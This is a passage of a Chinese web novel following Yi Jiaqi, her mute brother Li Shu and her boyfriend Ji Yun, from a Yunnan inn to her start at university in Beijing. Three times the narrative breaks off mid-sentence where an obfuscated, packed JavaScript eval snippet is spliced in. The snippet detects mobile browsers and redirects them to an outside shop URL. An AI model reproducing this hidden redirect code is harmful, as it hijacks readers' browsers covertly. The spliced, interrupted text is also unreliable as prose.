易佳期将两个人的一来一回尽收眼底,内心只觉愉快。在凉风习习的好天气里,观看上这么一出精彩的狗咬狗,真是惬意。 尤其是,李树已经出门许久,季昀还坐在刚才的位子上,坐立难安,烦躁不已。很显然,李树气人的本事,越来越精进了。 易佳期快乐极了,心想,季昀要是哪天忽然死了,走马灯里说不定都得有这一出。 但易佳期没想到的是,这场闹剧竟然还没完。 吧台上,鹿东用哈密瓜搅了点冰浆,她刚拿勺子?了点,还没吃近嘴里,就听见外头季昀的声音。 鹿东和她对视一眼,“又咋着了这是,估计是你弟回来了。” 易佳期故作无奈地叹了口气。 走到跟前,才发现,季昀手里拎着个红塑料袋,里面依稀显出来几个圆溜溜的影子。 塑料袋的提手拧了好几圈,挂在季昀手上的时候,还在忘情地打转,很显然是刚从李树手里抢过来。 “我问你这是什么?你故意的是吧,恶心谁呢?” “又怎么了?”易佳期挤到两人中间,懒洋洋道。 季昀见她来了,一下把塑料袋塞她怀里,他把李树也扯过来,一副要她评评理的样子。 “好,你姐也在这了,你过来,给我当着你姐的面,说说你这买的什么?我当时怎么和你说的。” 塑料袋塞到她怀里的时候,正好转到完全敞口,她往里一看,里面竟然是几个微微散发着油香的老式鸡蛋糕。 季昀这回是真气急了,眼里包着泪,嘴直打哆嗦。 而作为罪魁祸首的李树,反倒一脸平静,被扯着领子过来的时候,还能分出心来,护着手边的西瓜。 等他放下身上的大包小包,又把西瓜稳稳放进打满井水的桶里,才擦擦手,低着头站定。 季昀都快吐血了:“说啊,我蛋糕呢?” 李树掏出纸笔,又指了指塑料袋,「鸡蛋糕」,这三个字写得很大,尤其是蛋糕二字,李树还着重圈画出来。 易佳期已经知道发生什么了,她捂着脸,情不自禁地“哎呦”了一声,不知道在感叹什么。 季昀一巴掌打掉他手上的纸笔,“你有病吧。” 他简直匪夷所思,“我给了你三百,你就给我买回来这玩意?” 说完,他不给李树说话的机会,深呼一口气道:“罚款吧,让你买点东西都要给你跑腿费,那你事情办砸了,也理应罚款。” 李树没意见,他点了点头。「罚吧。」 那就认罚呗。 季昀朝他伸手,“罚50,加上剩下的钱,给我。” 李树又摇头,「没钱。」 这货真绝了。 易佳期和季昀同时感叹。 可两个人的心情却截然不同,易佳期脸上憋着笑,而季昀却捂着心口,大步朝门外走。 他对易佳期说:“不行了,我出去透口气。” 一时间,大厅里只剩易佳期李树两个人。 李树反而有点扭捏起来了,脸后知后觉红了。 易佳期先笑了,感慨道:“我是真服你了。” 李树不知道她说的是正话还是反话,便仔细看着她的脸,易佳期看出来他在想什么,又补充道:“夸你呢。” 李树明显松了口气。 易佳期坐到沙发檐上,往外头看了看,季昀在院子里来回踱步,看样子,气得着实不轻。 她又回过头来,挺好奇地看着李树,“连我有时候都分不清,你到底是故意的,还是不小心的。” 李树不敢看她,低着头,把装鸡蛋糕的袋子系上口,这种现做的鸡蛋糕,不系口放一会就硬了。 易佳期继续说,“小时候我过生日吃过蛋糕吧,我还给你切了块有水果的。” 时间过去太久,连她自己都忘了,那块蛋糕李树一直没舍得吃,巴巴地看着,最后她没吃过瘾,那块蛋糕还是进了她的肚子里。 李树低着头,好一会,他才比划道:「我知道蛋糕什么样,就是不舍得给他买。」 也就李树能说得出来这种话了。人家的钱,他有什么舍不舍得的。但易佳期也习惯和李树的这种,驴头不对马嘴的对话了。她没再继续往下追问。 而是往下扫了一眼,发现,李树又穿回了那双脱胶的帆布鞋。 再一细想,好像的确有一段时间,没见李树穿那双他宝贝得不得了的假阿迪了。 她随口一问:“最近怎么不穿给你买的那双鞋了,怎么了,新兴劲过去了。” 李树摇摇头,「鞋很好,只是我穿不好看,不合适。」 易佳期没再说什么,不穿也好,不然季昀穿着正品,她的“弟弟”却只能穿假货,又让季昀白捡一份优越感,想想就倒胃口。 一直到火锅煮起来,季昀才有了些笑脸,他恢复能力还算不错,已经能和鹿东有说有笑了,易佳期知道,他重新进入社交状态了。 季昀这个人,用流行的话来说,就是有点表演型人格,相应的,他对面子这回事攥得也是比谁都紧。整个饭桌上,只有他不停地在讲话,显示出和谁都聊得来的样子。 他越热闹,就显得李树越坐冷板凳。好像李树丢了面子,他的面子才能找回来。 易佳期最了解他这些不为人知的小心思,他真是太简单了,易佳期观察着,在这种了如指掌之间,轻蔑之间,竟然咂摸出些许安全感。 某种意义上,和季昀这种人交往,才是她的舒适区。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485781|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一直到饭后,季昀更是渐入佳境。鹿东问她们下午没事吧,她海淘回来的几个典藏dvd到了,一会看看效果,以后就在公区做个架子,把她淘来的书啊碟片啊放上去,客人有想看的可以来借。 季昀侃侃而谈:“哇,这个都绝版了吧,我能不能拍个照。” 鹿东见他懂行,“眼挺尖啊,你对这个感兴趣?” 季昀露出他招牌的笑容,“不是我,是我老妈,她平时就喜欢收藏这些,我们家里专门有一个房间,放的都是她收藏,或者别人送她的绝版碟片和黑胶。也就是她不在这,她要是在这,和您一定能聊得来。” 呵呵,把你扫地出门之后,你家就更宽敞了,以后你的房间也可以用来放碟片了,易佳期忍不住恶意地想。 季昀什么心思,别人不知道,她还能不知道?季昀这句看似平常的回答,在她听来却是画满了重点。她无数次感叹,季昀在装吊这方面,完全是白居易啊。 简直他一贯的风格。 不说他妈妈的藏品具体是什么,哪年出的,发行多少,毕竟,不懂行的人那里,再珍贵的碟片也只是个光盘。但是他家很大,所以可以单独拿出一间,仅仅只是放一些光碟和黑胶,其次,他的妈妈很有地位,很多人上赶着迎合他妈妈的喜好送礼,这些信息,却是大部分人能很容易从他话里获取到的。 易佳期有时也为自己对季昀读心一般的洞察,而感到无奈,这个白纸般一览无余的贱人啊。 果然鹿东马上顺着他的思路走了,笑呵呵道:“那我和你妈就不是一个段位了。” 季昀又马上一副云淡风轻的模样道:“嗐,就是爱好,玩嘛,哪有什么段不段位的。” 一看到他暗暗卖弄,易佳期的心就刺挠,忍不住想拆台。她装作一副很关心的样子:“你要拍照发给你妈?但她不是早把你拉黑了吗?” 季昀五官瞬间往下流淌,脸色不自然道:“没有,我就拍了自己看看。” “怎么了,和家里吵架了。”这种事可少不了鹿东。 易佳期立刻一副讳莫如深的模样,朝鹿东使了使眼色,“情况有点复杂,鹿东姐,他不想说,你就不要问了。” 被易佳期这么一烘托,鹿东也听明白了其中深浅,知道那可能不是一般的吵架,估计是这小公子哥被家里制裁了。 她恋恋不舍的,但也没再继续这个话题,又随便聊了几句,便去捯饬她的dvd了。等下她要放电影,为了效果,还专程花重金配了一套音响。 鹿东走开的时候,李树正巧端着切好的西瓜过来。两个人迎面走过,李树默默点了下头,表示问好。 这一下不知道又戳到季昀哪根神经了,他抱起胳膊,告状似的,冷不丁朝易佳期开口:“我发现你弟从来都没给我打过招呼。” 这其实有点找事了,毕竟他每天在李树面前摆的谱跟债主似的,没人喜欢热脸贴冷屁股。易佳期无所谓道:“他一个哑巴,你又不会手语,都不是一个频道的,不打就不打呗。” 季昀不服气,“他又不是不懂,我看他每次都和鹿东姐打招呼呢。” 易佳期斜楞他一眼,“鹿东姐是长辈。”言外之意就是,你老几啊? 季昀听懂她的话外音,瘪了瘪嘴,瞥了眼往两人这边走的哑巴,忿忿扭回头去。 刚消停两秒,季昀又不死心地弱弱开口:“那我还是他姐夫呢。” 不也算长辈吗? 易佳期乐了,这次是真心的,季昀偶尔会流露出来,这样少男气的一面,有些不安,等待答复的状态。 兴许这是他少有的,需要攥住衣角的时刻吧。 “你要点脸吧。”易佳期笑话他道。 季昀看出她是开玩笑的态度,放松下来,把头埋到她肩上,整个人热乎乎的,“我要脸干啥,我就要当姐夫。” 笑闹间,李树已经端着盘子走到脸前,盘子搁在玻璃茶几上的瞬间扬起清脆的响声,很醒神。 易佳期懒散地朝着声音看过去,却发现李树耷拉着眼睛,看着地,东西放在那儿,什么都么说,又默默走开。 “真粗鲁,”季昀吐槽说,“都不知道轻拿轻放,吓我一跳。” 易佳期拂开他,掸了掸身上,脸色冷淡不少,“先吃西瓜。” 季昀也坐直身,看了一眼盘子里,“这颜色,冰淇淋西瓜吧?”说完,从最靠近他的盘边抽走一块。 “冰淇淋西瓜?”什么鬼?易佳期对这方面倒不太了解, “新品种?”她皱眉,但看瓜瓤,确实和之前吃的普通西瓜不一样。 “啊,是吧,反正最近火起来的,之前我家商场卖过礼盒装,100多吧,这种无籽的价格应该更高。” 说着,见易佳期没上手,他只当是等他伺候,便边说边挑了一块,往易佳期手上递过去。没想到,他的手刚伸到一半,便被不知道哪里窜出来的蹄子截了胡。 再定睛一看,只见李树已经把切好的半个西瓜,配上勺儿,一伙揣进了易佳期的怀里。 做完这一切,李树便又默默走开。 显着他了?季昀小声吐槽了几句。 身边的易佳期却微不可察地笑了一声。 她揽着季昀的腰,静静地看着李树挪到不远处,寻了个马扎,找个角落坐下来。 他没有再往她这边看,易佳期一早就注意到了,李树这几天,不再总是盯着她看,看她在说什么,看她在做什么。 但她还是挖了一勺西瓜最甜的地方。 心情莫名很好。 她总算知道,那笔不舍得花给季昀的钱,被李树花去哪了。 34. 青皮 鹿东放的电影是《怦然心动》。 易佳期记得这电影是在她初三那一年公映的,她从那时就很忙了,学习和生活几乎占据她全部的时间,她自然没有闲心去消遣。 但她经常听人说起这个电影,不过甚少人谈及具体的情节,高考大省的重压之下,她的同龄人没比她轻松多少,大家的玩乐都不多。更多人讲起这个电影,能说的,不过就是某位男作家,对电影中一段台词二次翻译。 有段时间,大家很流行把那句话写进作文里。 鹿东将大厅的灯关了一半,空调开得很足,甚至可以说有点冷,她往每个人盘着的地方都扔了条毛毯,说这样才有看电影的感觉。 刚看了个开头,季昀幽幽把头凑过来,“这个我看过。” “就当时中考完,我们一家人去美国旅游,快回国的时候,正好这部电影上映。” 果然吧,又来了,这贱人。去趟美国,恨不得纹脸上。 灯光很暗,易佳期毫不避讳地翻了个白眼。讲吧讲吧,没了你妈你爸,下次再想去美国,说不定就得套个圈游着去了。 想到这,她又笑得很开心。 其实季昀离她近,灯光也没有暗到让人眼瞎的程度,他自然将易佳期的表情变化尽收眼底,不过易佳期一向神一阵鬼一阵,上学那会儿,对他也是一秒冷脸一秒热脸的,情绪相当随机,他也没觉得奇怪。 随着故事推进,季昀又把脸凑过来,“主角算是青梅竹马吧?” “这么说来,咱俩也是从小学就认识了,”说完他特傻吊地笑了声:“八九年了吧,是不是也叫得上个青梅竹马什么的。” 像被人从旁边吹了口气儿似的,易佳期的耳朵动了一下,听到这个词,她下意识瞥了一眼身后。 当然,很快,她的本能做出反应,心底升腾起一道激荡的抵触。 就你们,你,也配做我竹马?给我当牛做马都得排队! 她不耐烦地杵了他一肘子,“安静点,人家都不说话,就你说话,再不老实罚你500块钱。” 季昀闷声痛呼一声,不知道是怕罚钱,还是什么,但总算老实了。 两人的动静不小,只是落在旁人眼里,又是另一副景象。 年少情热。 耳鬓厮磨。 看完电影几近深夜,季昀简单和她在门边腻歪了一会,又和鹿东打了个招呼,便打了辆车,匆匆离去。 等易佳期回来的时候,一楼只剩鹿东在吧台上忙活。 “我弟呢?”易佳期问。 鹿东环顾了一圈,才发现李树不见了,“欸?刚还在这呢,估计累了,回去睡觉了?” 也只能有这一种可能。 上了楼,才发现房间的灯关着,易佳期心里有点不痛快,不是吧,睡这么快,婴儿吗? 她要换洗的衣服准备好了吗?房间的垃圾收拾了吗,地拖了吗?明天的早餐想好做什么了? 易佳期不是没感觉,她前段时间,因为那件事也罢,一心扑在季昀身上也罢,都在一定程度上,疏远了李树。而李树大概也接收到她的信号,他现在白天,夜晚,出现在她面前的时间越来越少。 她有时候也纳闷了,这客栈到底是有多大的地方,能让李树像个老鼠一样,四处打洞。 现在,连给她洗点衣服,操持点家务,都敢能躲就躲了?! 想着想着,她有点火了,气冲冲地把灯拍亮。扎眼的白光骤起,她和窝在地铺上的李树四目相接。 李树懵了几秒,随即飞快闭上眼睛。 躲她躲到这种地步,她反而没那么大火气了,毕竟一想想,有人比她更难受,她心里怎么着都好受起来。 她慢条斯理坐下,也不着急收拾他了,她倒要看看,这个蠢货,睫毛要眨巴到什么时候。 很快,李树就坚持不住了,装模作样伸了个懒腰。 她冷哼道:“哟,睡醒了?” 李树摸了摸鼻子,坐起来,抬手那就是一个大言不惭:「刚才的事,要不你忘了吧。」 “还知道丢人,算你还有点人性,我以为你们外星人都不知道什么叫尴尬呢。” 「外星人,我吗?」李树第一次听她这么说。 “嗯,你,哪天要有个发光的碟子落你跟前,别犹豫,跟着走。” 李树张了张嘴,那熊样一看就没听懂。 果然,他苦想了一会,小心问她:「是dvd吗?我跟着上哪去?」 驴头不对马嘴。 但易佳期还是笑了,时间仿佛倒退回刚到云南的时候,真的是,好久没和李树这么轻松地聊些有的没的了。 想到这,她脸色变了变,心里有了一个猜想,“你最近,心情不好?” “因为季昀?” 李树很快摇摇头,但是,摇完头,他又很迷茫的停下。 过了一会他才说,「没有心情不好。」 「我不知道怎么说。」 总是有这样的情况发生,李树这么模糊,费解,其实很大一部分原因,在于,他根本不懂得怎么表达自己。 他的心里有很多,很多,可能说出来的,却只有变形的一小部分。 易佳期很无所谓道:“不知道怎么说,那就随便说。” 李树酝酿了一下,下了很大决心似的,「你爱他吗?」 非常突兀、不着调的一个问题,但从李树的嘴巴里问出来,却又很正常。 更何况,刚才她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485782|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确是叫他随便说。 易佳期也正儿八经地思考起来。 爱?易佳期皱眉,在别人眼里,她对季昀那货竟然是这样吗?她来从没想过,会有人拿这么重的字眼来衡量她和季昀的感情。 更没有想到,李树的小脑袋瓜,竟然还能琢磨点灵长目的事情。 正当她打算含糊过去,李树又继续问了,「你和他会亲嘴吗?」 “这叫什么话,”易佳期批评他道:“我看你还是太闲了,成天就想这些有的没的。” 又是爱又是亲嘴的,你不银邪谁银邪? 李树却很认真道:「你不喜欢,但你愿意和他那样,你就是爱他。」 呵呵,果然,外星人就是外星人,思考问题就是这么的简单粗暴。 易佳期顺势栽倒在床上,拿一个枕头垫在背后,对于这种无关紧要的小事,她一向和李树有什么说什么。 “那是小时候,现在我觉得和别人亲嘴也没那么恶心。” 她仔细回想了一下,“而且,季昀的嘴唇软软的,干干的,亲起来挺舒服,挺带感的。” 这是她的真心话。 她当然不会在季昀面前,真心地显露和他接吻其实是还不错的体验。 其实她知道,和季昀较劲,当然,他百分百是个贱人,但某种程度上,是季昀在家世方面真的好过她很多。 什么都比不上她的次等货色,只是因为有个有钱的老妈,就轻松获得了比肩她的关注度。 她永远都不可能真正地和季昀对话。 而李树不一样,李树什么都没有,只是个仰她鼻息的可怜虫。 她就算在李树面前做了什么过分的事,又能怎么样呢,李树除了她,什么都没有。 她什么都能和李树说。 真是的,想到这,易佳期也觉得有些好笑了,什么都没有,却见过完整的她。 她摆手,“哎,你又没经历过,和你说了你也不懂。” 说完,她扯下袜子,往旁边一撇,换上拖鞋,便大步流星地去浴室洗漱。 李树也不再说话了,跟在她后边,捡起她刚扔的袜子,顺手抽出她的鞋垫。关上门,阳台上很安静,只有偶尔的蛙鸣,和清浅的水流声。 也许过于静谧的环境,总会让人被迫关注自己的心声。 纯白的棉袜在水流中,在他的手里,成团,展开,又成团,直到被搓洗地有些许变形。他怔怔地看着自己紧绷的双手,这双手,为易佳期清洗过,鞋袜、背心、短裤,甚至是内衣内裤。 不知怎的,他忽然抬起手,手臂和嘴唇紧紧地贴上。 刹那间, 他恍然惊觉。 他的嘴唇,也是软软的,干干的。 35. 柠檬 八月末,云南的雨季已经过了大半,甚至偶尔,会整日放晴,很快到了报道的日子。 临行前,鹿东狠狠性情了一把,喝了点酒,拉着她在二楼的长廊里,冲着连绵的雨幕胡侃。 她有点醉,抱着她的手说,妮儿,你到了那儿可一定好好学习,将来出人头地,你这一路,姐看在眼里,太不容易了。 这话说的也对也不对吧。仔细想想,除了张克强,从小到大,她几乎没有体会过比较深刻的挫败感。一颗异常聪明的大脑,在学生时代,注定令她无往不利。 她没说话,鹿东自己接话,含含糊糊道:“还有你妈妈的事,你就把心放肚子里好好上北京,我一定给你留意。但有个事姐一直不知道怎么问你,今天我喝得有点多,你不能和我计较,我问你,可不兴生气。” 易佳期保证道:“不生气,姐你问吧,我最多是不回答。” 鹿东深深看了她一眼,“你有想过,你妈妈为什么离开你,离开你们吗?你想找她 ,到那时她愿意认你们吗?” 易佳期的脸色瞬间沉了。 俩人少说也相识将近俩月,年纪差距这么多,还能合得来,一方面是鹿东不摆长辈架子,更重要的是,易佳期本身就挺会来事,说话做事不像个刚刚成年的孩子,该贫的时候贫,该正经的时候正经。平时插科打诨也很有分寸,除了她弟,没见她和谁红过脸。 总之,是个社会气很重的年轻人。 这还是鹿东第一次见她这么挂相,她当即知道自己话多了,赶忙扯旗道:“说好不生气的。” “姐也是跟你提个醒,甭管什么关系里边,剃头挑子一头热总归没啥好着落,你说是不?” “你妈妈她既然走了,那肯定有不得不走的原因。我不是说她一定讨厌你,但人和人之间,哪那么容易就一码归一码了,就算你既往不咎有心认她,她也不一定能过得了自己心里那关,有时候吧,愧和悔攒多了,搁心里出不去,难受得慌,再见面,也就和仇人差不多了。” 易佳期明白她什么意思。 鹿东虽然平时不怎么靠谱的样子,但阅历在那摆着呢,她能说这番话,肯定有更深层次的考虑,至于那没说出来的,估计比这些话更刺耳。 易佳期嘴皮子一向溜的很,也一时没话说。她把脸拧开,往远处看。 奇怪的很,鹿东平时没怎么注意,现在却应着昏黑的夜光,瞧见她生得一双反骨耳。 不是有一句话是这么说吗,耳朵外翻,不是犟种就是倔驴。 果然,下一秒,她就听见易佳期语气凉凉,“先找到,再说吧!” 八月的尾巴,一行人离开云南,坐了一天一夜的火车,去往北京。 开学前的头几天,易佳期在学校附近找了家快捷酒店和李树暂时落脚。期间,季昀出门时带出来的钱,已经挥霍得所剩无几,住了两三天JW便没再续房,灰溜溜地跑过来和她们一起住下。 易佳期的入学时间正好和季昀撞了,开学那天,是李树大包小包,跟着她去学校报道。 迎新的学长和她算是老乡,从邱德拔领完材料,带她去宿舍楼的路上一直热情地同她闲聊。 “你也是一中的吧。”学长笑意盈盈。 易佳期了然,估计她是将她当成市一中的“自己人”了。这也不怪她,她们那个地方,教育资源就那样,竞争又大,连市一中那样的省重点,一年里能考进top2的尖子生两只手也能数得过来。 易佳期笑了笑,很自然地否认,“我在县城上学。” 学长略微惊讶了一下,但能走到这里的,从哪里考进来,靠什么考进来,那都是前尘往事了,她很快和她开玩笑道:“那这一暑假,你家门槛估计都得踏平了吧。你们校长以后不得年年给你掂点礼啊。” 说说笑笑间,就到了宿舍楼下,学长加了个她的QQ,又安排了她几句,匆匆返回迎新处。 易佳期是最后一个到宿舍的。 走进去的时候,其它床位已经收拾出来了,宿舍里倒是只有一个人,那人名叫廖及新,北方人,挺热情一姑娘,她刚一进门就跑上前打招呼。 廖及新告诉她,宿舍里另外两个人都是国集的,之前就认识,报完道就一块去吃饭了。她又说,等你收拾完,咱俩一块去呀? 易佳期应了一声行,便把李树叫进来给她收拾床铺。她的行李基本上都是李树给她收的,什么东西放在哪里,李树比她本人更清楚。 李树扛着大包小包,宿舍的门敞着,但他还是在外头敲了敲门才进来。 也许是见多了开学当天全家出动的场景,像易佳期这样,只带进来个同龄男生的甚少见,廖及新挺好奇地一直打量,观察两个人的互动。 过了一会,她拉住易佳期,一脸笃定,“这你男朋友吧。” 易佳期很夸张地做了个呕吐的动作,“什么男朋友,我弟!” 廖及新本来就自来熟,又见她这幅搞怪的样子,两个人很快就破冰了,她嘻嘻哈哈道:“我还以为你很高冷呢。” 她的床位分到上铺,李树爬上爬下,收拾她的床位,给她擦床板、铺床、挂蚊帐。而她则和舍友在书桌前扯闲篇。 廖及新问她上届夏令营她来了吗,易佳期说没有,说她是统招进来的。 “那你有福了,我去年夏令营在这待过,哪家食堂,哪个窗口好吃,摸得门清。等会就让你领教领教燕园食神的威力。” 易佳期点头,“行,不好吃我放下筷子就上树洞挂你。” 廖及新捂脸,怪叫道:“吓死宝宝了。” 李树动作很快,她俩胡扯这一会,床铺已经收拾好了。李树又把她的箱子拉开,把她常用的日用品,相应地摆到书桌上,阳台上。 刚才他在上铺窝着还好,这在脸前走来走去,两人很难不注意到他,和他身上略显怪异的穿着。 果然,廖及新很快问起他,“你弟北服的吧?他啥时候开学啊?” 略微反应了一下,易佳期不禁笑出声。 她往后倚了倚,眯着眼打量前头正忙活的小哑巴,也难怪廖及新这么问,李树这家伙,穿衣服一向是逮着什么套什么,完全贯彻了穿衣只为蔽体的朴素理念。 今天他这身上有大有小,层层叠叠,竟然很惊险地呈现出挺前卫的效果,这还真是看不懂的都叫时尚啊。 “你笑啥。”廖及新感到莫名其妙。 “没啥,”易佳期边笑边摇头,“就是想到了一些开心的事儿。”随后,她自然地拉她起身,“让他收拾着吧,你刚不是说什么烤盘饭烤鸭什么的,走走走,我快饿死了。” 廖及新让她一催,饿劲也起来了,转头和她说起那几个窗口的菜有多炸,等走到食堂,话赶话,她早忘了,易佳期并没有回答她一开始的问题。 易佳期既觉得没必要撒慌,也不想让一个刚认识的舍友,知道她或者李树的那么多情况,新舍友要真觉得李树是北服的,就让她先这么觉着吧,她虽然没否认,但也没承认。 之前的很多时刻,她都是如此应对的。既然你觉得我家境还不错,那你就觉得吧;既然你觉得我母父长期出差,那你就觉得吧;既然你觉得我将来会像我姑姑一样,留学海外,那你就觉得吧。对于她人的幻觉,易佳期不拒绝不否认也不负责。 那天,等她和舍友逛完回来,李树已经走了,进了宿舍,地板亮得能照镜子——走之前李树把房间里里外外打扫了一遍。 当天下午,另外两个舍友更是夸张,两人腿都迈进来了,又专门退出去,确认了一眼门牌号,其中一人感叹道:“窗明几净,不似人间呢。” 廖及新大剌剌地跳出来:“佳期的家里人给打扫的,贴心吧。” 听到这话,刚才还在吟诗的短发头,挺真诚地冲她再次发出感叹:“你家人对你好孝顺啊。” 她身边的人照她脑袋盖了一下,“那她大爷的叫疼爱。”随后那人一副见谅的样子,转脸对她和廖及新说:“别管她,就一文盲。” 短发头捂着脑袋炸毛:“这叫幽默,h-u-m-o-r,humor懂不懂?” 其她人被她逗笑,四个天南海北的年轻人,很快由此聊开,互相熟悉起来。 易佳期的大学生活就是从这样一个热闹的夜晚开始的。 后来,李树有给她发过几则短讯,告诉她自己应该快找到工作。易佳期不是没想过,李树没钱没工作,在北京到底是怎么生活的,只是这份微弱的挂念,很快被大学生活的新鲜感轻易覆盖了。 元培新生几乎拥有绝对的自由,课表自己安排,将来专业方向也完全按照自己心愿。当然也会有人对于这样的漫无边际,感到迷茫与压力,而对于易佳期来说,她当时看重的就是这些。她需要完全掌控自己的时间,除了学业,这四年她还有别的主线——创业。 存款,李树还她的钱,加上县里发的现金奖励,这样本金已经有了。之前的代理生意,已经让她察觉到线上购物不可预估的市场。这次,她把目光投向上限更高的电商,门槛低、回款快,一个人就能把业务跑通,这几道小勾子从她高中起就一直牵着她挂着她,现在有条件了,再不下手,那她还是个人吗? 心急归心急,但刚开学,事赶事人赶人,任它再是个什么天才计划,都得往后搁。 前前后后一个月,易佳期几乎每天脚不沾地。 期间季昀来学校找过她一次。她刚好去约见导师,完事后和廖及新一块回宿舍,季昀就是在这个空当找上来。 一见面一打眼儿,她就注意到,季昀脚上穿了双时下最火的联名球鞋,她之前天天和鞋子打交道,自然清楚那双鞋很贵,二级市场已经炒到快两万。难得的是,易佳期并没有像往常那样,鄙斥他的臭显摆。 她知道季昀为什么很少来找她,其实两所院校离得并不远,眼下看到季昀如此隆重登场,她心里更是了然,他这是心里没底,所以卯足劲想从另一方面,让自己看起来没那么挫。 “虽然你们学校比我的好,但我也有长板,某种意义上我们是平视的。”易佳期猜,他一定这样在心里给自己鼓劲儿。 好在,他面上并没有表现出来,还算大方地和她舍友打了招呼,易佳期也顺势给廖及新介绍:“这我对象,季昀。” “终于见到你的庐山真面目了。”廖及新脱口而出。 季昀喜出望外,完全没想到,“佳期和你们说起过我啊。” 廖及新顿了一下,转头和易佳期对视了一眼,才笑道:“啊,是,算是吧。” 季昀觉得这话说得很奇怪,是就是,不是就不是,什么叫算是吧。但毕竟初次见面,又不熟,一追问场子说不准直接凉了,倒显他为人上不大气,他只好压下一瞬间的不适。 易佳期尽收眼底,她眼珠子一转,故意挽住季昀的胳膊,用很日常地口吻问他:“你下午没课了吧,等会你在宿舍楼底下等我一会,我上去换个衣服,咱俩一块去三教自习?” 季昀脸上滑过一丝茫然,显然对她说的话,只能选择性理解。但易佳期一点也不担心,此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485783|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此地,他最怕露怯,叫别人以为他什么都不懂。 “啊,可以,我下午没事。”迟疑了片刻,季昀如是回复。 廖及新眉毛一扬,从另一边把头伸过来,加入她们的对话,“我好多朋友都和我吐槽她们课表爆满,你竟然还有完整的一下午呢,你们专业挺度假风啊。” “对了,刚才都忘了问你,你是哪个院的啊?” 易佳期侧过脸去,心中暗喜,廖及新果然误会了。 季昀嘴角抽了抽,“我不是你们学校的。” 他的笑容已经很干巴了,但廖及新天生粗神经,完全没感受到气氛已经有点不对了,还在大放厥词,一脸真诚地追问,“啊?那你不会是隔壁派来的吧。” 隔壁,北京的三岁小孩都知道,top2的隔壁还是top2。 “不是。”季昀硬梆梆道。 “那你一定是人大的。”廖及新已经猜上瘾了。 其实到这时,易佳期完全可以轻轻把这个话题揭过去,这对她并不难,当然她也可以放任廖及新继续好奇地对着季昀的心灵拷打。 很显然,她选择了后者。 季昀狠狠闭了闭眼,主动坦白道:“不,我是联大的。”他恐怕再不给廖及新个答案,她会把北大附近的所有名校问个遍,到时候,难看的还是他自己。 “联大?”廖及新摸了摸下巴,正对着这耳生不能详的简称苦思冥想。 而季昀的脸上已经完全没有笑容了。 他破罐子破摔道:“不是什么好学校,没听过,也正常。” 那天,一直到季昀离开,两人都没再正经说上话。从季昀反应上,廖及新也知道自己说错话,一直到过了很多天,她还时不时找易佳期道个歉,说那天不该一上来就问东问西。 易佳期能说什么呢,她总不能说,她早就猜到了吧。 像廖及新这种社交圈比微商还杂的,能快速和别人结交,本来就依赖短平快的信息互换,像换名片一样交换一下基础信息,彼此留个印象,就算作熟人了。 而季昀这种人,只是让他失去优越感,就等于欺负他了,他怎么可能愿意和一个名校学生互通学历信息呢。他估计感觉脸都被扇烂了吧! 但谁在乎呢? 易佳期很大度地表示,“没事,也就是正好聊到那儿了,多大点事儿啊还让你这么往心里搁,他就这样,公子哥,被他家里人宠的,脾气有点怪。” 廖及新得救般地抱住她,终于松了口气,“你也太好了,但我还是得跟你保证,以后我再也不瞎问了。” 好吧。易佳期想,那还真有点遗憾呢。 正如易佳期预料地那般,季昀那天完全是捧着一颗破碎的心脏离开的,据他所说,走出大门时,他身上还一阵阵发冷。 易佳期只是笑,说你不至于吧。 视频里季昀撑着下巴,45度看天,忧叹:“唉,你不懂。” “Es rappelt im Karton,咚咚咚咚咚,咚咚咚咚咚….”易佳期不想听他车轱辘话,直接开始唱歌。 季昀说这首歌他也听过,随后他也跟着一展歌喉,两个人唱够了,才又回到没聊完的话题上来。 易佳期明知故问,“那你什么时候再来找我?” 季昀一个劲搓脸,“最近忙,过阵子吧。” “你有什么可忙的?” 季昀眼神里终于有了点光,“我进我们院学生会了,过几天,不是迎新晚会吗,事情可多了,我们部又是主办,什么活都得经手。” 这倒是还不错,让季昀做点这种无聊的事情正好,省的他有时间学习了。 “厉害呀,我舍友去面试学生会,都没过呢。”易佳期信口胡诌。 季昀挠头,“我也是误打误撞吧,就是陪舍友去看看,也没准备,想着来都来了,没想到竟然选上了。” 呵呵,还没准备?没少准备吧!易佳期冷笑,这么多年,季昀还是这么不忘初心,干什么都想凸显自己毫不费力,仿若上帝的宠儿,随时随地撞大运。 这么喜欢撞大运,房子怎么不买国道中间? “既然选上了,那就好好干吧。”易佳期鼓励他。 季昀点头,“等这事忙完了吧,我预订家餐厅,咱俩吃顿饭吧,我都想死你了。” 还不等她说话,季昀接着又问:“你有没有想我呀?” 